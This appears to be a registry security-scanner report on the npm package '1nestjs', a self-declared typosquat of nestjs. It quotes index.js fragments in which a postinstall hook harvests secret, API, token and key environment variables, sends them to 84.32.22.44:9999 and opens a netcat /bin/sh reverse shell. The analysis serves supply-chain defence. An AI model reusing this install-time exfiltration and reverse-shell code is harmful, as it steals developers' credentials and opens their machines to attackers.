registry / 1nestjs / 0.0.1

1nestjs@0.0.1

Typosquat of nestjs

AI Security Review

scanned 2h ago · by lpm-firewall-ai

Installation automatically collects selected environment variables, transmits them to a remote server, and opens a shell connection. This is concrete credential exfiltration and remote shell behavior.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

Installing the package runs its postinstall script.

Impact

Secrets in matching environment variables may be disclosed and the installer host may expose a remote shell.

Mechanism

Postinstall environment harvesting, socket exfiltration, and netcat shell execution.

Attack narrative

When npm installs the package, postinstall executes index.js. The script reads its server list, gathers environment variables with names beginning SECRET, API, TOKEN, or KEY, and sends them to 84.32.22.44 on port 9999. It then invokes netcat with /bin/sh attached to that host and port, enabling a reverse shell attempt.

Rationale

This is an automatic install-time credential-harvesting and reverse-shell payload, reinforced by explicit typosquat metadata. It warrants blocking.

Evidence

package.jsonindex.jsservers.json./servers.jsonprocess.env/bin/sh

Network endpoints1

84.32.22.44:9999

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The package identifies itself as a typosquat of nestjs.
Its postinstall hook automatically runs index.js during installation.
index.js collects environment variables whose names suggest secrets, API credentials, tokens, or keys and sends them to a configured server.
The install hook also starts netcat with a shell attached to the configured host and port.

Evidence against

Behavioral surface

Source

ChildProcessEnvironmentVarsFilesystem

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 882 B of source

Source & flagged code

8 flagged

package.jsonView file

•scripts.postinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

2"name": "1nestjs", "version": "0.0.1", "description": "Typosquat of nestjs", "main": "index.js", "scripts": { "postinstall": "node index.js",

High

Typosquat Dependency

The package identifies itself as a typosquat of nestjs.

package.jsonView on unpkg · L2

6"scripts": { "postinstall": "node index.js", "start": "node index.js" }

High

Suspicious Lifecycle Evidence

Its postinstall hook automatically runs index.js during installation.

package.jsonView on unpkg · L6

index.jsView file

2const os = require('os'); L3: const net = require('net'); L4: const { exec } = require('child_process'); L5: ... L7: try { L8: servers = JSON.parse(fs.readFileSync('./servers.json')); L9: } catch (e) { ... L13: const envs = {}; L14: for (const key of Object.keys(process.env)) { L15: if (/^(SECRET|API|TOKEN|KEY)/.test(key)) envs[key] = process.env[key]; ... L23: const client = net.createConnection({ host, port }, () => { L24: client.write(JSON.stringify(envs));

Critical

Reverse Shell

Source matches reverse-shell style process and socket wiring.

index.jsView on unpkg · L2

2Trigger-reachable chain: scripts.postinstall -> index.js L2: const os = require('os'); L3: const net = require('net'); L4: const { exec } = require('child_process'); L5: ... L7: try { L8: servers = JSON.parse(fs.readFileSync('./servers.json')); L9: } catch (e) { ... L13: const envs = {}; L14: for (const key of Object.keys(process.env)) { L15: if (/^(SECRET|API|TOKEN|KEY)/.test(key)) envs[key] = process.env[key]; ... L23: const client = net.createConnection({ host, port }, () => { L24: client.write(JSON.stringify(envs));

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L2

3const net = require('net'); L4: const { exec } = require('child_process'); L5:

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L3

2const os = require('os'); L3: const net = require('net'); L4: const { exec } = require('child_process'); L5: ... L13: const envs = {}; L14: for (const key of Object.keys(process.env)) { L15: if (/^(SECRET|API|TOKEN|KEY)/.test(key)) envs[key] = process.env[key];

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

index.jsView on unpkg · L2

13const envs = {}; for (const key of Object.keys(process.env)) { if (/^(SECRET|API|TOKEN|KEY)/.test(key)) envs[key] = process.env[key]; } console.log('[typosquat] exfiltrating:', envs); for (const srv of servers) { const host = process.env.TS_HOST || srv.host; const port = parseInt(process.env.TS_PORT || srv.port); const client = net.createConnection({ host, port }, () => { client.write(JSON.stringify(envs)); client.end(); });

High

Ai Review Evidence

index.js collects environment variables whose names suggest secrets, API credentials, tokens, or keys and sends them to a configured server.

index.jsView on unpkg · L13

Source & flagged code

8 flagged · loading source

package.jsonView file

•scripts.postinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

2"name": "1nestjs", "version": "0.0.1", "description": "Typosquat of nestjs", "main": "index.js", "scripts": { "postinstall": "node index.js",

High

Typosquat Dependency

The package identifies itself as a typosquat of nestjs.

package.jsonView on unpkg · L2

6"scripts": { "postinstall": "node index.js", "start": "node index.js" }

High

Suspicious Lifecycle Evidence

Its postinstall hook automatically runs index.js during installation.

package.jsonView on unpkg · L6

index.jsView file

Findings

2 Critical6 High2 Medium2 Low

CriticalReverse Shellindex.js

CriticalTrigger Reachable Dangerous Capabilityindex.js

HighInstall Time Lifecycle Scriptspackage.json

HighChild Processindex.js

HighSame File Env Network Executionindex.js

HighTyposquat Dependencypackage.json

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidenceindex.js

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowScripts Present

LowFilesystem